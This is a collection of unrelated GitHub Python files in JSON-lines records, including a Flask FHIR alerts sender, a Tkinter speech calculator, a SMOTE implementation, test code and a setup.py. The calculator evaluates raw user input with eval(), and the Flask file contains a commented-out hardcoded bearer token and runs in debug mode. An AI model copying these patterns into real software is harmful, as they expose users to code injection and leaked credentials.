my_string2=f\"url = {alerts_servers[alerts_server]}/$process-message\",\r\n title=\"$process-message Response\",\r\n headers = dict(r.headers),\r\n oo = oo\r\n )\r\n@app.route(\"//transaction\")\r\ndef transaction(alerts_server):\r\n '''\r\n upload message to transaction endpoint\r\n return operation outcome\r\n '''\r\n headers = {\r\n 'Accept':'application/fhir+json',\r\n 'Content-Type':'application/fhir+json',\r\n #'Authorization':'Bearer heqfnVgiMGCJuef', #if alerts_server == \"One Medical\" else None,\r\n }\r\n\r\n #data = cache.get('notification_bundle')\r\n app.logger.info(f'*******alerts_server = {alerts_server}******')\r\n app.logger.info(f'*******alerts_server $process-message url = {alerts_servers[alerts_server]}******')\r\n data = get_sessionfile(alerts_server)\r\n #app.logger.info(f'data = {data}')\r\n with post(f'{alerts_servers[alerts_server]}/', headers=headers, data=data) as r:\r\n try:\r\n oo = r.json()\r\n except:\r\n oo = {}\r\n app.logger.info(f'url= {alerts_servers[alerts_server]}\\n\\\r\n r.status_code ={r.status_code}\\n\\\r\n r.reason={r.reason}\\n\\\r\n r.headers=\\n\\\r\n {r.headers}\\n')\r\n\r\n return render_template('sub_template6.html',\r\n my_string1=f\"#### Response from {alerts_server} Server: **{r.status_code}**\",\r\n my_string2=f\"url = {alerts_servers[alerts_server]}/\",\r\n title=\"Transaction Bundle Response\",\r\n headers = dict(r.headers),\r\n oo = oo\r\n )\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)\r\n","repo_name":"Healthedata1/Flask-Alerts-Sender","sub_path":"notify.py","file_name":"notify.py","file_ext":"py","file_size_in_byte":41596,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"13936939582","text":"from tkinter import *\nfrom tkinter.messagebox import *\nimport math as m\nfrom audio_helper import PlayAudio\nimport threading\nimport operator\nimport speech_recognition as s_r\n\n\n# some useful variables\nfont = ('Verdana', 20, 'bold')\nob = PlayAudio()\n\n#spech\ndef speech():\n\n r = s_r.Recognizer()\n my_mic_device = s_r.Microphone(device_index=1)\n with my_mic_device as source:\n\n r.adjust_for_ambient_noise(source)\n audio = r.listen(source)\n my_string=r.recognize_google(audio)\n print(my_string)\n textField.insert(END,my_string)\n def get_operator_fn(op):\n return {\n '+' : operator.add,\n '-' : operator.sub,\n 'multiply' : operator.mul,\n 'divided' :operator.__truediv__,\n 'x': operator.mul,\n '/': operator.__truediv__,\n 'Mod' : operator.mod,\n 'mod' : operator.mod,\n '^': operator.xor,\n\n }[op]\n def eval_binary_expr(op1, oper, op2):\n op1,op2 = int(op1), int(op2)\n return get_operator_fn(oper)(op1, op2)\n\n print(eval_binary_expr(*(my_string.split())))\n textField.insert(END, \"=\")\n textField.insert(END, eval_binary_expr(*(my_string.split())))\n\n\n# important functions\ndef clear():\n ex = textField.get()\n ex = ex[0:len(ex) - 1]\n textField.delete(0, END)\n textField.insert(0, ex)\n\n\ndef all_clear():\n textField.delete(0, END)\n\n\ndef click_btn_function(event):\n\n print(\"btn clicked\")\n b = event.widget\n text = b['text']\n print(text)\n t = threading.Thread(target=ob.speak, args=(text,))\n t.start()\n\n if text == 'x':\n textField.insert(END, \"*\")\n return\n\n if text == '=':\n try:\n ex = textField.get()\n anser = eval(ex)\n textField.delete(0, END)\n textField.insert(0, anser)\n\n\n except Exception as e:\n print(\"Error..\", e)\n showerror(\"Error\", e)\n return\n\n textField.insert(END, text)\n\n\n# creating a window\nwindow = Tk()\nwindow.title('My Calculator')\nwindow.configure(bg=\"#191524\")\nwindow.geometry('510x550')\n\n# heading label\nheading = Label(window, text='My Calculator', bg=\"#191524\", fg=\"gold\", font=font)\nheading.pack(side=TOP)\n\n\n\n# textfiled\ntextField = Entry(window, font=font, justify=CENTER)\ntextField.pack(side=TOP, pady=10, fill=X, padx=10)\n# buttons\n\nbuttonFrame = Frame(window)\nbuttonFrame.pack(side=TOP, padx=10)\n\n# adding button\ntemp = 1\nfor i in range(0, 3):\n for j in range(0, 3):\n btn = Button(buttonFrame, text=str(temp), font=font, bd=4, width=5,bg=\"#054d44\",fg=\"white\", relief='raised', activebackground='orange',\n activeforeground='white')\n btn.grid(row=i, column=j)\n temp = temp + 1\n btn.bind('', click_btn_function)\n\nzeroBtn = Button(buttonFrame, text='0', font=font,bg=\"#054d44\",fg=\"white\",bd=4, width=5, relief='raised', activebackground='orange',\n activeforeground='white')\nzeroBtn.grid(row=3, column=0)\n\ndotBtn = Button(buttonFrame, text='.', font=font, bg=\"#054d44\",fg=\"white\",width=5,bd=4, relief='raised', activebackground='orange',\n activeforeground='white')\ndotBtn.grid(row=3, column=1)\n\nequalBtn = Button(buttonFrame, text='=', font=font, bg=\"#054d44\",fg=\"white\",width=5,bd=4, relief='raised', activebackground='orange',\n activeforeground='white')\nequalBtn.grid(row=3, column=2)\n\nplusBtn = Button(buttonFrame, text='+', font=font,bg=\"#054d44\",fg=\"white\", width=5,bd=4, relief='raised', activebackground='orange',\n activeforeground='white')\nplusBtn.grid(row=0, column=3)\n\nminusBtn = Button(buttonFrame, text='-', font=font,bg=\"#054d44\",fg=\"white\", width=5,bd=4, relief='raised', activebackground='orange',\n activeforeground='white')\nminusBtn.grid(row=1, column=3)\n\nmultBtn = Button(buttonFrame, text='x', font=font,bg=\"#054d44\",fg=\"white\", width=5, bd=4,relief='raised', activebackground='orange',\n activeforeground='white')\nmultBtn.grid(row=2, column=3)\n\ndivideBtn = Button(buttonFrame, text='/', font=font, bg=\"#054d44\",fg=\"white\",width=5,bd=4, relief='raised', activebackground='orange',\n activeforeground='white')\ndivideBtn.grid(row=3, column=3)\n\nclearBtn = Button(buttonFrame, text='<--', font=font,bg=\"#054d44\",fg=\"white\", width=11,bd=4, relief='raised', activebackground='orange',\n activeforeground='white', command=clear)\nclearBtn.grid(row=4, column=0, columnspan=2)\n\nallClearBtn = Button(buttonFrame, text='AC', font=font, bg=\"#054d44\",fg=\"white\",width=11, bd=4,relief='raised', activebackground='orange',\n activeforeground='white', command=all_clear)\nallClearBtn.grid(row=4, column=2, columnspan=2)\n\n\n\n\nspeakBtn = Button(buttonFrame, text='Speak', font=font,bg=\"#054d44\",fg=\"white\", width=11,bd=4, relief='raised', activebackground='orange',\n activeforeground='white', command=speech)\nspeakBtn.grid(row=5, column=1, columnspan=2)\n\n# binding all btns\nplusBtn.bind('', click_btn_function)\nminusBtn.bind('', click_btn_function)\nmultBtn.bind('', click_btn_function)\ndivideBtn.bind('', click_btn_function)\nzeroBtn.bind('', click_btn_function)\ndotBtn.bind('', click_btn_function)\nequalBtn.bind('', click_btn_function)\n\n\ndef enterClick(event):\n print('hi')\n e = Event()\n e.widget = equalBtn\n click_btn_function(e)\n\n\ntextField.bind('', enterClick)\n#####################################################################################################\n\nscFrame = Frame(window)\n\n\n\n\n\nsqrtBtn = Button(scFrame, text='√', font=font, width=5,bg=\"#054d44\",fg=\"white\",bd=4, relief='raised', activebackground='orange',\n activeforeground='white')\nsqrtBtn.grid(row=0, column=0)\n\npowBtn = Button(scFrame, text='^', font=font, width=5,bg=\"#054d44\",fg=\"white\",bd=4, relief='raised', activebackground='orange',\n activeforeground='white')\npowBtn.grid(row=0, column=1)\n\nfactBtn = Button(scFrame, text='x!', font=font, width=5,bg=\"#054d44\",fg=\"white\", bd=4,relief='raised', activebackground='orange',\n activeforeground='white')\nfactBtn.grid(row=0, column=2)\n\nradBtn = Button(scFrame, text='toRad', font=font, width=5, bg=\"#054d44\",fg=\"white\",bd=4,relief='raised', activebackground='orange',\n activeforeground='white')\nradBtn.grid(row=0, column=3)\n\ndegBtn = Button(scFrame, text='toDeg', font=font, width=5,bg=\"#054d44\",fg=\"white\", bd=4,relief='raised', activebackground='orange',\n activeforeground='white')\ndegBtn.grid(row=1, column=0)\n\nsinBtn = Button(scFrame, text='sinθ', font=font, width=5, bg=\"#054d44\",fg=\"white\",bd=4,relief='raised', activebackground='orange',\n activeforeground='white')\nsinBtn.grid(row=1, column=1)\n\ncosBtn = Button(scFrame, text='cosθ', font=font, width=5, bg=\"#054d44\",fg=\"white\",bd=4,relief='raised', activebackground='orange',\n activeforeground='white')\ncosBtn.grid(row=1, column=2)\n\ntanBtn = Button(scFrame, text='tanθ', font=font, width=5, bg=\"#054d44\",fg=\"white\",bd=4,relief='raised', activebackground='orange',\n activeforeground='white')\ntanBtn.grid(row=1, column=3)\n\nlogBtn = Button(scFrame, text='log', font=font, width=5,bg=\"#054d44\",fg=\"white\", bd=4,relief='raised', activebackground='orange',\n activeforeground='white')\nlogBtn.grid(row=2, column=3)\n\n\n\n\n\n\nnormalcalc = True\n\n\ndef calculate_sc(event):\n print('btn..')\n btn = event.widget\n text = btn['text']\n print(text)\n ex = textField.get()\n answer = ''\n if text == 'toDeg':\n print(\"cal degree\")\n answer = str(m.degrees(float(ex)))\n\n\n elif text == 'toRad':\n print('radian')\n answer = str(m.radians(float(ex)))\n\n elif text == 'x!':\n print(\"cal factorial\")\n answer = str(m.factorial(int(ex)))\n elif text == 'sinθ':\n print(\"cal sin\")\n answer = str(m.sin(m.radians(int(ex))))\n elif text == 'cosθ':\n answer = str(m.cos(m.radians(int(ex))))\n elif text == 'tanθ':\n answer = str(m.tan(m.radians(int(ex))))\n elif text == '√':\n print('sqrt')\n answer = m.sqrt(int(ex))\n elif text == '^':\n print('pow')\n base, pow = ex.split(',')\n print(base)\n print(pow)\n answer = m.pow(int(base), int(pow))\n\n elif text == 'log':\n print('log')\n answer = str(m.log10(float(ex)))\n\n textField.delete(0, END)\n textField.insert(0, answer)\n\n\ndef sc_click():\n global normalcalc\n if normalcalc:\n # sc...\n buttonFrame.pack_forget()\n # add sc frame\n scFrame.pack(side=TOP, pady=5)\n buttonFrame.pack(side=TOP)\n window.geometry('510x700')\n print(\"show sc\")\n normalcalc = False\n else:\n print('show normal')\n scFrame.pack_forget()\n window.geometry('510x550')\n normalcalc = True\n\n\n# end functions\n# binding sc buttons\nsqrtBtn.bind(\"\", calculate_sc)\npowBtn.bind(\"\", calculate_sc)\nfactBtn.bind(\"\", calculate_sc)\nradBtn.bind(\"\", calculate_sc)\ndegBtn.bind(\"\", calculate_sc)\nsinBtn.bind(\"\", calculate_sc)\ncosBtn.bind(\"\", calculate_sc)\ntanBtn.bind(\"\", calculate_sc)\nlogBtn.bind(\"\", calculate_sc)\n\n\nfontMenu = ('', 15)\nmenubar = Menu(window, font=fontMenu)\n\nmode = Menu(menubar, font=fontMenu, tearoff=0)\nmode.add_checkbutton(label=\"Scientific Calculator\", command=sc_click)\n\nmenubar.add_cascade(label=\"Mode\", menu=mode)\n\nwindow.config(menu=menubar)\n\nwindow.mainloop()\n","repo_name":"SayeedSA/Speech_calculator","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":9656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7819613277","text":"#!/usr/bin/python\n# encoding=utf-8\n\nimport random\nfrom sklearn.neighbors import NearestNeighbors\nimport numpy as np\nimport pandas as pd\nfrom sklearn.preprocessing import StandardScaler\nfrom data_process.list_process import remove_list\n\n\n'''SMOTE人工合成样本'''\nclass Smote:\n\n def __init__(self,samples,N=10,k=5):\n self.n_samples,self.n_attrs=samples.shape #数据的行列\n self.N=N\n self.k=k\n self.samples=samples\n self.newindex=0\n #self.synthetic=np.zeros((self.n_samples*N,self.n_attrs))\n\n\n def over_sampling(self):\n N=int(self.N/100)\n self.synthetic = np.zeros((self.n_samples * N, self.n_attrs)) #建立与传入对象相同的0值数组\n #建立k邻近点模型\n neighbors=NearestNeighbors(n_neighbors=self.k).fit(self.samples)\n print ('neighbors',neighbors)\n for i in range(len(self.samples)):\n #对每个样本求其k个邻近点\n nnarray=neighbors.kneighbors(self.samples[i].reshape(1,-1),return_distance=False)[0]\n self._populate(N,i,nnarray)\n\n return self.synthetic\n\n\n # for each minority class samples,choose N of the k nearest neighbors and generate N synthetic samples.\n #对于每个少数类样本,选择k个最近邻的n,并生成n个合成样本。\n\n def _populate(self,N,i,nnarray):\n for j in range(N):\n #随机选取某一样本周围的nn个样本\n nn=random.randint(0,self.k-1)\n #计算这个样本到nn个点的距离\n dif=self.samples[nnarray[nn]]-self.samples[i]\n #生��一个随机数\n gap=random.random()\n #合成人工样本\n self.synthetic[self.newindex]=self.samples[i]+gap*dif\n self.newindex+=1\n\n\n\nif __name__=='__main__':\n df = pd.read_excel('/Users/andpay/Documents/job/data/帮还活动/activity_history/marketing_modedata3_14.xlsx')\n df = df[0:100]\n print(df.shape)\n\n cate_list = ['sex', 'brandcode', 'channel_type', 'marry', 'ccerate']\n df = df.fillna(0)\n var_list = list(df.columns)\n var_list.remove('partyid')\n var_list.remove('name')\n continue_list = remove_list(var_list, cate_list)\n\n #a=np.array([[1,2,3],[4,5,6],[2,3,1],[2,1,2],[2,3,4],[2,3,4]])\n data=np.array(df[continue_list])\n #print(np.round(data,3))\n s=Smote(data,N=50)\n\n dataset=s.over_sampling()\n print (dataset.shape)\n print (s.newindex)\n\n","repo_name":"wkslearner/scikit_learn","sub_path":"data_sample/SMOTE.py","file_name":"SMOTE.py","file_ext":"py","file_size_in_byte":2446,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"71725322066","text":"class Solution(object):\n def maxValue(self, grid):\n \"\"\"\n :type grid: List[List[int]]\n :rtype: int\n \"\"\"\n for i in range(len(grid)):\n for j in range(len(grid[0])):\n if i == 0 and j == 0: continue\n if i == 0: grid[i][j] += grid[i][j - 1]\n elif j == 0: grid[i][j] += grid[i - 1][j]\n else: grid[i][j] += max(grid[i][j - 1], grid[i - 1][j])\n return grid[-1][-1]\n\n\"\"\"\nhttps://leetcode-cn.com/problems/li-wu-de-zui-da-jie-zhi-lcof/solution/mian-shi-ti-47-li-wu-de-zui-da-jie-zhi-dong-tai-gu/\n\"\"\"\n","repo_name":"Andrewlearning/Leetcoding","sub_path":"剑指offer/面试题47. 礼物的最大价值(dp).py","file_name":"面试题47. 礼物的最大价值(dp).py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1601990395","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Feb 24 17:06:56 2023\n\n@author: konstantinos\n\"\"\"\n\nimport numpy as np\nimport h5py\nfrom datetime import datetime\nimport os\n\n#%% Get Densities\n\n## File structure is\n# box, cycle, time, mpi, rank0 ... rank99.\n# This iterates over all the ranks\n\n\n\ndef extractor(filename):\n '''\n Loads the file, extracts X,Y,Z and Density. \n \n Parameters\n ----------\n f : str, \n hdf5 file name. Contains the data\n \n Returns\n -------\n X : np.array, float64\n X - coordinate\n Y : np.array, float64\n Y - coordinate.\n Z : np.array, float64\n Z - coordinate.\n Den : np.array, float64\n Density.\n \n '''\n # Timing start\n start_time = datetime.now()\n # Read File\n f = h5py.File(filename, \"r\")\n # HDF5 are dicts, get the keys.\n keys = f.keys() \n # List to store the length of each rank\n lengths = []\n # List with keys that don't hold relevant data\n not_ranks = ['Box', 'Cycle', 'Time', 'mpi']\n \n for key in keys:\n if key in not_ranks:\n # Skip whatever is not a mpi rank\n continue\n else:\n # Store the length of the dataset\n lengths.append(len(f[key]['X']))\n \n # Use lists for clarity\n X = []\n Y = []\n Z = []\n Den = []\n Vx = []\n Vy = []\n Vz = []\n Vol = []\n Mass = []\n IE = []\n Rad = []\n T = []\n P = []\n \n # Iterate over ranks\n for key in keys:\n if key in not_ranks:\n # Skip whatever is not a mpi rank\n continue\n else:\n # Sanity Check\n print(key)\n # Timing\n end_time = datetime.now()\n print('Duration: {}'.format(end_time - start_time))\n # For some reason, having the collumns into variables is way faster.\n x_data = f[key]['CMx']\n y_data = f[key]['CMy']\n z_data = f[key]['CMz']\n den_data = f[key]['Density']\n \n vx_data = f[key]['Vx']\n vy_data = f[key]['Vy']\n vz_data = f[key]['Vz']\n vol_data = f[key]['Volume']\n \n ie_data = f[key]['InternalEnergy']\n rad_data = f[key]['tracers']['ZRadEnergy'] #f[key]['Erad'] \n T_data = f[key]['Temperature']\n P_data = f[key]['Pressure']\n for i in range(len(x_data)):\n X.append(x_data[i])\n Y.append(y_data[i])\n Z.append(z_data[i])\n Den.append(den_data[i])\n Vx.append(vx_data[i])\n Vy.append(vy_data[i])\n Vz.append(vz_data[i])\n Vol.append(vol_data[i])\n IE.append(ie_data[i])\n Rad.append(rad_data[i])\n Mass.append(vol_data[i] * den_data[i])\n T.append(T_data[i])\n P.append(P_data[i])\n\n\n # Close the file\n f.close()\n return X, Y, Z, Den, Vx, Vy, Vz, Vol, Mass, IE, Rad, T, P\n#%%\n# Change the current working directory\nfixes = [965]\nfor fix in fixes:\n fix = str(fix)\n snapshot = '6/' + fix + '/snap_' + fix + '.h5'\n pre = '6/' + fix + '/'\n suf = '_' + fix\n\n X, Y, Z, Den, Vx, Vy, Vz, Vol, Mass, IE, Rad, T, P = extractor(snapshot)\n \n # Save to another file.\n np.save(pre + 'CMx' + suf, X) \n np.save(pre + 'CMy' + suf, Y) \n np.save(pre + 'CMz' + suf, Z) \n np.save(pre + 'Den' + suf, Den)\n np.save(pre + 'Vx' + suf, Vx) \n np.save(pre + 'Vy' + suf, Vy) \n np.save(pre + 'Vz' + suf, Vz)\n np.save(pre + 'Vol' + suf, Vol)\n np.save(pre + 'Mass' + suf, Mass) \n np.save(pre + 'IE' + suf, IE) \n np.save(pre + 'Rad' + suf, Rad)\n np.save(pre + 'T' + suf, T)\n np.save(pre + 'P' + suf, P) \n \n","repo_name":"KKilmetis8/tde_comparison","sub_path":"src/Extractors/xyz_extractor.py","file_name":"xyz_extractor.py","file_ext":"py","file_size_in_byte":3810,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"28936686242","text":"import pandas as pd\nimport rtree.index\n\nfrom estates import create_estate\n\n\nclass MainDataset:\n def __init__(self, path, need_index = True):\n self.dataset = pd.read_csv(path,\n # nrows=1000\n )\n if need_index:\n self.dataset = self.dataset[(self.dataset['per_square_meter_price'] > 10000) | (self.dataset['price_type'] == 1)].reset_index()\n self.all_objects = [create_estate(index, row) for index, row in self.dataset.iterrows()]\n if need_index:\n self.index = rtree.index.Rtree()\n for i, o in enumerate(self.all_objects):\n if o.row[\"price_type\"] == 0:\n self.index.insert(o.index, o.bounds, obj=o)\n\n self.index1 = rtree.index.Rtree()\n for i, o in enumerate(self.all_objects):\n if o.row[\"price_type\"] == 1:\n self.index1.insert(o.index, o.bounds, obj=o)\n\n\n\n\n\n","repo_name":"BraginIvan/raif","sub_path":"indices.py","file_name":"indices.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"5779743235","text":"\nimport pandas as pd\nfrom collections import OrderedDict\n\nfile = 'C:/Users/devD/Desktop/smartcode/ShanMukha/weather.dat' # file location\n\n#below mydict contains values with headers in dict form\nwith open(file) as f:\n headers = f.readline().split()\n mydict = [OrderedDict(zip(headers,d.split())) for d in f.readlines()]\n\n\ndf = pd.DataFrame(mydict[1:]) # creating a dataframe\ncols = ['MxT', 'MnT'] \nfor col in cols:\n df[col] = df[col].map(lambda x: str(x).lstrip('*').rstrip('*')).astype(float) # removing extra characters from value\n\n\ndf['spread'] = df['MxT'] - df['MnT'] # finding diff between MxT & MnT = spread\nminv = df['spread'].min() # getting minimum value in that spread column\nprint(df[['Dy']][df['spread']==minv]) # finding the day where spreaf = minv\n\n","repo_name":"DebaPrasad14/Kata04-Data-Munging","sub_path":"weather_solution_pandas.py","file_name":"weather_solution_pandas.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32458399205","text":"\"\"\"\nOra is a freestanding time and date implementation for C++ and Python.\n\nOra is `hosted on GitHub `_. See\nthe `installation instructions\n`_.\n\nDocs at `readthedocs `_.\n\"\"\"\n\n#-------------------------------------------------------------------------------\n\nfrom glob import glob\nimport numpy as np\nimport os\nfrom setuptools import setup, Extension\nimport setuptools.command.build_ext\nimport setuptools.command.install\nimport subprocess\nimport sys\n\n#-------------------------------------------------------------------------------\n\nif sys.platform == \"darwin\":\n # No C++14 when building for earlier OSX versions.\n os.environ[\"MACOSX_DEPLOYMENT_TARGET\"] = \"10.9\"\n\n\n#-------------------------------------------------------------------------------\n\n# Convince setuptools to call our C++ build.\n\nclass BuildExt(setuptools.command.build_ext.build_ext):\n\n def run(self):\n subprocess.check_call([\"make\", \"cxx\", \"docstrings\"])\n setuptools.command.build_ext.build_ext.run(self)\n\n\n\n#-------------------------------------------------------------------------------\n\ndef enumerate_data_files(dir):\n \"\"\"\n Enumerates files suitable for setuptools's `data_files` option.\n\n Generates (dir_path, file_paths) pairs for each directory under `dir`,\n where `file_paths` is a list of paths to files in that directory.\n \"\"\"\n for dir, _, files in os.walk(dir):\n yield dir, [ os.path.join(dir, f) for f in files ]\n\n\nsetup(\n name =\"ora\",\n version =\"0.8.2\",\n description =\"Alternative time and date library\",\n long_description=__doc__,\n url =\"https://github.com/alexhsamuel/ora\",\n author =\"Alex Samuel\",\n author_email =\"alexhsamuel@gmail.com\",\n license =\"BSD-3\",\n keywords =[\"time\", \"date\", \"time zone\"],\n classifiers =[\n \"Development Status :: 3 - Alpha\",\n \"Intended Audience :: Developers\",\n \"License :: OSI Approved :: BSD License\",\n \"Programming Language :: Python :: 3\",\n \"Programming Language :: Python :: 3.6\",\n ],\n\n python_requires='>=3.6',\n setup_requires=[\n \"numpy\",\n ],\n install_requires=[\n \"numpy\", # Required to install, but not to use.\n ],\n\n package_dir ={\"\": \"python\"},\n packages =[\"ora\", \"ora.np\"],\n package_data ={\n \"\" : [\"test/*\"],\n \"ora\" : [\"calendars/*\", \"zoneinfo/*\", \"zoneinfo/*/*\"],\n },\n\n ext_modules=[\n Extension(\n \"ora.ext\",\n extra_compile_args=[\n \"-std=c++17\",\n \"-fdiagnostics-color=always\",\n \"-Wno-dangling-else\",\n ],\n include_dirs =[\n \"cxx/include\",\n \"python/ora/ext\",\n np.get_include(),\n ],\n sources =glob(\"python/ora/ext/*.cc\"),\n library_dirs =[\"cxx/src\", ],\n libraries =[\"ora\", ],\n depends =[\n *glob(\"cxx/include/*.hh\"),\n *glob(\"python/ora/ext/*.hh\"),\n ]\n ),\n ],\n\n cmdclass={\n \"build_ext\" : BuildExt,\n },\n)\n\n","repo_name":"alexhsamuel/ora","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":3318,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"48"} +{"seq_id":"18740811526","text":"import tempfile\nfrom importlib import reload\nimport os\nimport io\nimport sys\nimport src.frontend as app\n\npath = os.path.dirname(os.path.abspath(__file__))\n\n#tests all of R3.1 by checking if the command login is invalid if already logged in\ndef test_r3_1(capsys):\n helper(\n capsys=capsys,\n terminal_input=[\n \"login\",\n 'aaa@gmail.com',\n 'aaa45',\n 'login',\n 'logout',\n 'exit'\n ],\n input_valid_accounts=['aaa@gmail.com,aaa,aaa45,415.03'],\n input_valid_tickets=[],\n expected_tail_of_terminal_output=[\n \"login\",\n \"register\",\n \"exit\",\n '---LOG IN---',\n 'Enter your email: Enter your password: Account logged in',\n '---Your balance: $415.03---',\n 'buy',\n 'sell',\n 'update',\n 'logout',\n 'Command invalid',\n '---Your balance: $415.03---',\n 'buy',\n 'sell',\n 'update',\n 'logout',\n 'Logout successful',\n \"login\",\n \"register\",\n \"exit\",\n 'Exiting program'\n ],\n test_transactions=False,\n expected_output_transactions=[]\n )\n\n#R3.2 was tested in the landing tests in R1.3 where we tested if landing could send to every session\n\n#tests all of R3.3 by checking if login asks for email and then entering the email and checking if it asks for\n#the password then logging out and exiting the program \ndef test_r3_3(capsys):\n helper(\n capsys=capsys,\n terminal_input=[\n \"login\",\n 'aaa@gmail.com',\n 'aaa45',\n 'logout',\n 'exit'\n ],\n input_valid_accounts=['aaa@gmail.com,aaa,aaa45,415.03'],\n input_valid_tickets=[],\n expected_tail_of_terminal_output=[\n \"login\",\n \"register\",\n \"exit\",\n '---LOG IN---',\n 'Enter your email: Enter your password: Account logged in',\n '---Your balance: $415.03---',\n 'buy',\n 'sell',\n 'update',\n 'logout',\n 'Logout successful',\n \"login\",\n \"register\",\n \"exit\",\n 'Exiting program'\n ],\n test_transactions=False,\n expected_output_transactions=[]\n )\n\n#Tests R3.4 which tests if the password or email is invalid and says that and doesnt allow them to login\n#First a valid email is entered then an invalid password and it checks the output, then an invalid\n#email is entered and it checks for this then exits the program\ndef test_r3_4(capsys):\n helper(\n capsys=capsys,\n terminal_input=[\n \"login\",\n 'aaa@gmail.com',\n 'ddd1#',\n 'login',\n '13#!@#$@gmail.com',\n 'exit'\n ],\n input_valid_accounts=['aaa@gmail.com,aaa,aaa45,415.03'],\n input_valid_tickets=[],\n expected_tail_of_terminal_output=[\n \"login\",\n \"register\",\n \"exit\",\n '---LOG IN---',\n 'Enter your email: Enter your password: Login failed',\n \"login\",\n \"register\",\n \"exit\",\n '---LOG IN---',\n 'Enter your email: Login failed',\n \"login\",\n \"register\",\n \"exit\",\n 'Exiting program'\n ],\n test_transactions=False,\n expected_output_transactions=[]\n )\n\n#R3.4 format checking of the email and password is done in the registration and doesnt allow incorrect \n#formatting to be registered. Felt redundant and unnecesary to make the login function check this and just made the login \n#function check if the email and password are in \"accounts.csv\".\n\n#Tests R3.6 by logging in and checking if the landing page is correct for when logged in then\n#it logsout and exits the program\ndef test_r3_6(capsys):\n helper(\n capsys=capsys,\n terminal_input=[\n \"login\",\n 'aaa@gmail.com',\n 'aaa45',\n 'logout',\n 'exit'\n ],\n input_valid_accounts=['aaa@gmail.com,aaa,aaa45,415.03'],\n input_valid_tickets=[],\n expected_tail_of_terminal_output=[\n \"login\",\n \"register\",\n \"exit\",\n '---LOG IN---',\n 'Enter your email: Enter your password: Account logged in',\n '---Your balance: $415.03---',\n 'buy',\n 'sell',\n 'update',\n 'logout',\n 'Logout successful',\n \"login\",\n \"register\",\n \"exit\",\n 'Exiting program'\n ],\n test_transactions=False,\n expected_output_transactions=[]\n )\n\n#R3.7 tests if the login fails but this is already achieved in the test R3.4 where invalid emails and\n#passwords are entered which fails the login because the email and password are not in the \"accounts.csv\"\n#file making this test case unnecessary so I chose to skip like Professor Ding said could be done.\n\ndef helper(\n capsys,\n terminal_input,\n input_valid_accounts,\n input_valid_tickets,\n expected_tail_of_terminal_output,\n test_transactions,\n expected_output_transactions\n):\n \"\"\"Helper function for testing\n\n Arguments:\n capsys -- object created by pytest to capture stdout and stderr\n terminal_input -- list of string for terminal input\n expected_tail_of_terminal_output list of expected string at the tail of terminal\n input_valid_accounts -- list of valid accounts in the valid_account_list_file\n expected_output_transactions -- list of expected output transactions\n \"\"\"\n\n # cleanup package\n reload(app)\n\n # create a temporary file in the system to store output transactions\n temp_fd, temp_file = tempfile.mkstemp()\n\n # create a temporary file in the system to store the valid accounts:\n temp_fd2, temp_file2 = tempfile.mkstemp()\n valid_account_list_file = temp_file2\n with open(valid_account_list_file, 'w') as wf:\n wf.write('\\n'.join(input_valid_accounts))\n\n # temp file to store ticket list\n temp_fd3, temp_file3 = tempfile.mkstemp()\n valid_ticket_list_file = temp_file3\n with open(valid_ticket_list_file, 'w') as wf:\n wf.write('\\n'.join(input_valid_tickets))\n\n # prepare program parameters\n sys.argv = [\n 'main.py',\n 'testCity',\n valid_account_list_file,\n valid_ticket_list_file\n ]\n\n # set terminal input\n sys.stdin = io.StringIO(\n '\\n'.join(terminal_input))\n\n # run the program\n app.main()\n\n # capture terminal output / errors\n # assuming that in this case we don't use stderr\n out, err = capsys.readouterr()\n\n # split terminal output in lines\n out_lines = out.splitlines()\n\n # print out the testing information for debugging\n # the following print content will only display if a \n # test case failed:\n print('std.in:', terminal_input)\n print('valid accounts:', input_valid_accounts)\n print('valid tickets:', input_valid_tickets)\n print('terminal output:', out_lines)\n print('terminal output (expected tail):', expected_tail_of_terminal_output)\n \n # compare terminal outputs at the end.`\n for i in range(1, len(expected_tail_of_terminal_output)+1):\n index = i * -1\n assert expected_tail_of_terminal_output[index] == out_lines[index]\n \n # compare transactions:\n if test_transactions:\n with open(sys.argv[1]+'_transactions.csv', 'r') as of:\n content = of.read().splitlines()\n \n # print out the testing information for debugging\n # the following print content will only display if a \n # test case failed:\n print('output transactions:', content)\n print('output transactions (expected):', expected_output_transactions)\n \n for ind in range(len(content)):\n assert content[ind] == expected_output_transactions[ind]\n\n # clean up\n os.close(temp_fd)\n os.remove(temp_file)\n # remove transaction file\n os.remove(sys.argv[1]+'_transactions.csv')\n","repo_name":"rangozhang98/CISC327-Group19","sub_path":"test_frontend/test_R3.py","file_name":"test_R3.py","file_ext":"py","file_size_in_byte":8256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12693549031","text":"\n# Read data from downloaded CTT files into Pandas dataframes\n# Remove as many errors as possible\n\n# The dataframes will be:\n# gps, data, nodedata -- ignore log\n\n# nodedata holds the information about checkins from the nodes. It isn't immediately useful. Has RSSI data from each node and the info about it, including gps location and battery state.\n# gps just has the gps fixes of the sensorstation.\n# data holds the information we want.\n\n\nimport glob, os, datetime\nimport pandas as pd\n\ndef getFileList(savedir,startdate,enddate=None):\n\n if enddate is None:\n enddate = datetime.date.today()\n\n gpsfiles = glob.glob(os.path.join(savedir,'gps','*.csv.gz'))\n ndfiles = glob.glob(os.path.join(savedir,'node-data','*.csv.gz'))\n dfiles = 